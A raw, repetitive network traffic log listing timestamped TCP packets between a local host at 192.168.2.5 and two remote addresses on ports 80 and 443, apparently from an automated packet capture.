Dec 18, 2024 19:08:31.755944967 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.756381989 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.756449938 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.756453037 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:31.756468058 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.756998062 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.757098913 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.757152081 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.758256912 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.758311033 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.758342981 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.758415937 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.759345055 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.759392977 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.759454012 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.759550095 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.760509014 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.760586977 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.760607958 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.760652065 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.761672974 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.761723995 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.761754990 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.761807919 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.762934923 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.763123035 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.763170004 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.764056921 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.764225006 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.764272928 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.764882088 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.764945030 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:31.764961004 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.765212059 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.765419006 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.765466928 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.766660929 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.766733885 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.766798973 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.766843081 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.767580986 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.767680883 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.767734051 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.768933058 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.768981934 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.769042015 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.769125938 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.769923925 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.770047903 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.770109892 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.771153927 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.771298885 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.771344900 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.772303104 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.772350073 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.772413969 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.772691011 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.773314953 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.773380041 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:31.773396015 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.773482084 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.773525000 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.773585081 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.773619890 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.774637938 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.774684906 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.774800062 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.774842024 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.775851011 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.775897026 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.775971889 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.776015997 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.777051926 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.777124882 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.777188063 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.778244972 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.778263092 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.778316975 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.779359102 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.779445887 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.779495955 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.780499935 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.780704975 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.780731916 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.780756950 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.781707048 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.781785965 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.781838894 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.782898903 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.782951117 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.782972097 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.783013105 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.784034967 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.784091949 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.784116030 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.784168005 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.785165071 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.786284924 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.814789057 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:31.891619921 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.919629097 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.919872999 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.919970989 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.920087099 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.920249939 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.920310020 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.921390057 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.921451092 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.921504021 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.922468901 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.922519922 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.922926903 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.922972918 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.923677921 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.923755884 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.923798084 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.924935102 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.924979925 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.925039053 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.925956011 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.926007032 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.926246881 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.926326036 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.927094936 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.927211046 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.927258015 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.928303003 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.928431988 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.928483009 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.929450989 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.929497957 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.929563999 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.930574894 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.930588007 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.930632114 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.930685043 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.930731058 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.931808949 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.931857109 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.931888103 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.931931019 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.932945967 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.932988882 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.933047056 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.933089972 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.934077978 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.934268951 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.934314966 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.935269117 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.935420990 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.935471058 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.936403036 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.936450958 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.936523914 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.937576056 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.937622070 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.937764883 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.938726902 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.938735962 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.939037085 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.939084053 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.939774990 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:31.939824104 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.939904928 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.939950943 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.939999104 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.940045118 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.941097021 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.941164970 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.941214085 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.942195892 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.942246914 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.942370892 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.942416906 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.943454027 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.943541050 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.943592072 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.944581032 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.944786072 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.944837093 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.945696115 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.945741892 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.945810080 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.946245909 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.946912050 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.946959019 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.946984053 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.947029114 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.948024988 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.948071003 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.948112965 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.948179960 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.949208975 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.949258089 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.949369907 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.949414015 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.950382948 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.950432062 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.950445890 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.951551914 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.951606035 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.951709986 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.953011990 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.953061104 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.953227997 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.953272104 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.953835964 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.953967094 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.954014063 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.954046965 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.954085112 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.954142094 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:31.954160929 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.954205990 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.954217911 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:31.954380989 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:31.954583883 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:31.954583883 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:31.954621077 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.954643011 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:31.955012083 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.955116987 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.955159903 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.956222057 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.956300974 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.956366062 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.957354069 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.957443953 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.957503080 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.958503962 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.958587885 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.958647013 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.959688902 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.959789038 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.959841967 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.960875034 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.960936069 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.960984945 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.962073088 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.962129116 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.962155104 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.962241888 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.963558912 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.963601112 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.963773012 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.963819981 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.965060949 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.965118885 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.965181112 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.966290951 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.966356039 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.966638088 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.966681957 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.967283964 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.967446089 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.967500925 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.968111038 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.968188047 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.968251944 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.969189882 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.969326973 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.969389915 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.970002890 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.970052004 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.970108986 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.971003056 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.971124887 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.971188068 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.972069025 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.972129107 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.972213984 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.972264051 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.973208904 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.973267078 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.973282099 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.973320007 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.974334002 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.974406958 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.974457026 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.974509001 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.975440979 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.975495100 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.975583076 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.975627899 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.976731062 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.976771116 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.976784945 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.976821899 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.978210926 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.978257895 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.978302002 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.978348970 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.978812933 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.978867054 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.978938103 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.978982925 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.979806900 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.979857922 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.021346092 CET	49727	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:32.021394014 CET	443	49727	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:32.021501064 CET	49727	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:32.021821976 CET	49727	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:32.021833897 CET	443	49727	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:32.112025023 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.112071991 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.112175941 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.112274885 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.112371922 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.112437010 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.113513947 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.113570929 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.113599062 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.114413977 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.114460945 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.114531994 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.115472078 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.115515947 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.115573883 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.115616083 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.116574049 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.116733074 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.116780043 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.117748022 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.117889881 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.117938042 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.118840933 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.118880987 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.118957043 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.120013952 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.120059013 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.120080948 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.120234013 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.121007919 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.121159077 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.121206045 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.122234106 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.122292042 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.122344017 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.123188972 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.123231888 CET	49726	80	192.168.2.5	31.41.244.11
